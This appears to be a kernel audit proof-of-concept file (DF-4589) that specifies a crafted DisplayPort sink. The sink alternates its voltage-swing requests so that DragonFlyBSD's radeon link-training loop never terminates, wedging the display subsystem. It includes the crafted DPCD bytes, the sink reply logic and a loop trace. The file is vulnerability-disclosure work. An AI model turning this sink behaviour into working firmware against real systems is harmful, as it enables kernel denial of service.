โฌข DragonFlyBSD Kernel Audit
DF-4589 / trigger.c
โ† back to finding โ†“ download raw
/* DF-4589 trigger โ€” malicious DisplayPort sink behavior spec (radeon CR-loop wedge)
 *
 * VULNERABILITY: sys/dev/drm/radeon/atombios_dp.c:684-722
 *   radeon_dp_link_train_cr() loop clock-recovery loop terminates only on:
 *     (a) drm_dp_clock_recovery_ok()            [sink achieves CR]
 *     (b) DPCD link-status read failure
 *     (c) all lanes report DP_TRAIN_MAX_SWING_REACHED  (train voltage == level 3)
 *     (d) 5 *consecutive* iterations with identical train_set[0] voltage
 *         (atombios_dp.c:707-714 โ€” "else dp_info->tries = 0;")
 *
 *   A sink that (1) never achieves clock recovery, (2) keeps the requested
 *   voltage swing strictly below level 3, and (3) ALTERNATES its adjust-request
 *   voltage between two levels (e.g. 0.4V <-> 0.6V) on every status read makes
 *   the (train_set[0] & DP_TRAIN_VOLTAGE_SWING_MASK) == voltage test fails on
 *   every other iteration, so the tries counter is reset to 0 forever and the loop never
 *   exits.  Each iteration sleeps in drm_dp_link_train_clock_recovery_delay()
 *   (>= 100 us; up to mdelay(rd_interval*4) ~ 508 ms with crafted DPCD[0x0E],
 *   drm_dp_helper.c:121-134) and performs a DPCD read.
 *
 * IMPACT: radeon_dp_link_train() is called from the encoder DPMS-on path
 *   (atombios_encoders.c:1777), i.e. inside the DRM modeset path holding
 *   mode_config.mutex โ€” either the HPD workqueue thread or the userspace
 *   thread that issued MODE_SETCRTC / a DPMS property set.  Result: an
 *   unkillable task spinning non-interruptibly in the kernel and a
 *   permanently wedged display subsystem (all further DRM ioctls on the
 *   card block on the mutex).
 *
 * This file documents the deterministic sink state machine (executable logic
 * below).  It CANNOT run on the audit QEMU guest: reproduction requires a
 * radeon GPU (AMD PCI 0x1002) driving a crafted DisplayPort sink (MCU-based
 * dongle emulating the DPCD responses below).  run.sh probes the guest and
 * records the hardware absence (see run.log).
 *
 * Sink state machine (what the crafted DP device answers on AUX reads):
 */
#include <stdint.h>

/* DPCD bytes the sink publishes at probe time */
static const uint8_t crafted_dpcd[16] = {
    0x11,   /* [0x00] DPCD_REV 1.1                                */
    0x0A,   /* [0x01] MAX_LINK_RATE  2.7 GHz (270000)             */
    0x04,   /* [0x02] MAX_LANE_COUNT 4 (stay in-spec; DF-1730 is
                     the >4 variant and out of scope here)          */
    0x00,   /* [0x03] MAX_DOWN_SPREAD none                        */
    0x00,   /* [0x04]                                             */
    0x00,   /* [0x05] DOWNSTREAM_PORT_COUNT / no OUI              */
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00,   /* [0x0D]                                             */
    0x00,   /* [0x0E] TRAINING_AUX_RD_INTERVAL -> udelay(100)     */
    0x00    /* [0x0F]                                             */
};

/* Link-status registers 0x202..0x207 (SINK_COUNT..LANE2_3_STATUS).
 * Adjust request nibbles at 0x206/0x207 (ADJUST_REQUEST_LANE0_1 / 2_3):
 *   bits [1:0]  voltage swing level, [3:2] pre-emphasis level.
 *
 * SUCCESS CRITERION FOR THE ATTACK: alternate lane0 voltage request
 * between level 0 (0.4V) and level 1 (0.6V) on every read, never set
 * level 3, and never report CR_DONE. */
static unsigned toggle_;

static uint8_t sink_status_reply(unsigned reg)
{
    switch (reg) {
    case 0x202: return 0x00;                 /* no lane CR done       */
    case 0x203: return 0x00;                 /* interlane align fail  */
    case 0x204: return 0x00;                 /* symbol locked: never  */
    case 0x205: return 0x00;
    case 0x206:                             /* ADJUST_REQUEST_LANE0_1 */
        toggle_ ^= 1;
        /* lane0 voltage = toggle (0 or 1), pre-emph 0; lane1 same    */
        return (uint8_t)(toggle_ | (toggle_ << 4));
    case 0x207: return 0x00;
    default:    return 0x00;
    }
}

/* Kernel-side effect (trace of the loop with this reply pattern):
 *
 *  iter  voltage(prev) train_set[0]&MASK  equal?  tries   action
 *    1   0xff          0x00 (v=0 req)     no       0->0   set 0.4V
 *    2   0x00          0x01 (v=1 req)     no       0      set 0.6V
 *    3   0x01          0x00 (v=0 req)     no       0      set 0.4V
 *    4   0x00          0x01               no       0      ...
 *   ...  (forever โ€” the "clock recovery tried 5 times" branch at
 *         atombios_dp.c:709-712 is unreachable; the max-swing break at
 *         698-705 requires level 3 which the sink never requests)
 *
 * Live demonstration requires: radeon GPU + this sink firmware on a
 * DP dongle + any modeset on the connector (e.g. xrandr --auto).
 */
int main(void) { return sink_status_reply(0x206) ? 0 : 0; }